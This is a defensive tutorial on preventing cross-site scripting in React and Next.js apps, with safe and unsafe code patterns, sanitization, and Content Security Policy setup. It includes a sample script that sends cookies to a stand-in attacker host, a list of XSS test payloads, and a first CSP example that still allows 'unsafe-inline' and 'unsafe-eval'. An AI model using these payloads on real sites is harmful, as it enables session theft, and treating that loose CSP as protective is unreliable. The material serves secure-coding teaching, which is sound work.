How to Protect Against XSS Attacks
Stop attackers from running JavaScript in your users' browsers
TL;DR
TL;DR
React escapes content by default. Don't use dangerouslySetInnerHTML unless absolutely necessary, and if you must, sanitize with DOMPurify. Set Content Security Policy headers. Never put user input in href, src, or event handlers without validation.
What is XSS?
Cross-Site Scripting (XSS) happens when an attacker injects malicious JavaScript into your page. This script runs in victims' browsers, allowing the attacker to steal session tokens, redirect users, or modify page content.
// User submits this as their "name"
<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
// If you display it unsafely, the script runs for everyone who views it
React's Built-in Protection
React automatically escapes content rendered in JSX:
Safe by Default
// This is SAFE - React escapes the content
function UserName({ name }: { name: string }) {
return <p>Hello, {name}</p>;
}
// Even if name is "<script>alert('xss')</script>"
// It renders as text, not as a script
The Dangerous Escape Hatch
dangerouslySetInnerHTML Creates XSS Risk
// DANGEROUS - This bypasses React's protection
function Comment({ html }: { html: string }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// If html contains <script> tags, they will execute!
If You Must Use dangerouslySetInnerHTML
Sanitize the HTML first with DOMPurify:
npm install dompurify
npm install @types/dompurify --save-dev
import DOMPurify from 'dompurify';
function SafeHTML({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href'],
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Common XSS Patterns to Avoid
User Input in href
Dangerous
// VULNERABLE: javascript: URLs execute code
<a href={userProvidedUrl}>Click here</a>
// Attacker sets url to: javascript:alert(document.cookie)
Safe
function SafeLink({ url, children }: { url: string; children: React.ReactNode }) {
const safeUrl = url.startsWith('http://') || url.startsWith('https://')
? url
: '#';
return <a href={safeUrl}>{children}</a>;
}
User Input in Style
Dangerous
// VULNERABLE in some cases
<div style={{ background: userColor }}>
// Attacker could inject: url("javascript:alert('xss')")
Safe
const ALLOWED_COLORS = ['red', 'blue', 'green', 'purple'];
function ColoredBox({ color }: { color: string }) {
const safeColor = ALLOWED_COLORS.includes(color) ? color : 'gray';
return <div style={{ background: safeColor }}>Content</div>;
}
Eval and Function Constructor
Never Use These with User Input
// EXTREMELY DANGEROUS
eval(userInput);
new Function(userInput)();
setTimeout(userInput, 1000);
setInterval(userInput, 1000);
Content Security Policy
CSP is a security header that restricts what scripts can run on your page.
Next.js Configuration
// next.config.js
const securityHeaders = [
{
key: 'Content-Security-Policy',
value: `
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.yoursite.com;
`.replace(/\n/g, ''),
},
];
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: securityHeaders,
},
];
},
};
Strict CSP (Recommended for Production)
// Use nonces for inline scripts
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}';
style-src 'self' 'nonce-{random}';
img-src 'self' data: https:;
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
Server-Side Sanitization
Always sanitize on the server before storing:
// app/api/comments/route.ts
import DOMPurify from 'isomorphic-dompurify';
export async function POST(request: Request) {
const { content } = await request.json();
// Sanitize before storing
const cleanContent = DOMPurify.sanitize(content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
ALLOWED_ATTR: [],
});
await db.comment.create({
data: { content: cleanContent },
});
return Response.json({ success: true });
}
Markdown Rendering
If you render Markdown, be careful with raw HTML:
import { marked } from 'marked';
import DOMPurify from 'dompurify';
function renderMarkdown(markdown: string) {
// Convert markdown to HTML
const rawHtml = marked(markdown);
// Sanitize the output
const cleanHtml = DOMPurify.sanitize(rawHtml);
return cleanHtml;
}
Testing for XSS
Try these payloads in input fields:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
javascript:alert('XSS')
<a href="javascript:alert('XSS')">click</a>
<div onmouseover="alert('XSS')">hover me</div>
If any of these execute, you have a vulnerability.
XSS Prevention Checklist
- Let React escape content by default
- Avoid
dangerouslySetInnerHTMLwhen possible - Use DOMPurify if you must render HTML
- Validate URLs before using in href or src
- Never use eval() with user input
- Set Content Security Policy headers
- Sanitize user input on the server before storing
- Use httpOnly cookies for sensitive tokens
Quick Reference
| Context | Protection |
|---|---|
| Text content | React escapes automatically |
| HTML content | DOMPurify.sanitize() |
| URL attributes | Validate protocol (https://, http://) |
| CSS values | Allowlist valid values |
| JavaScript context | Never use user input |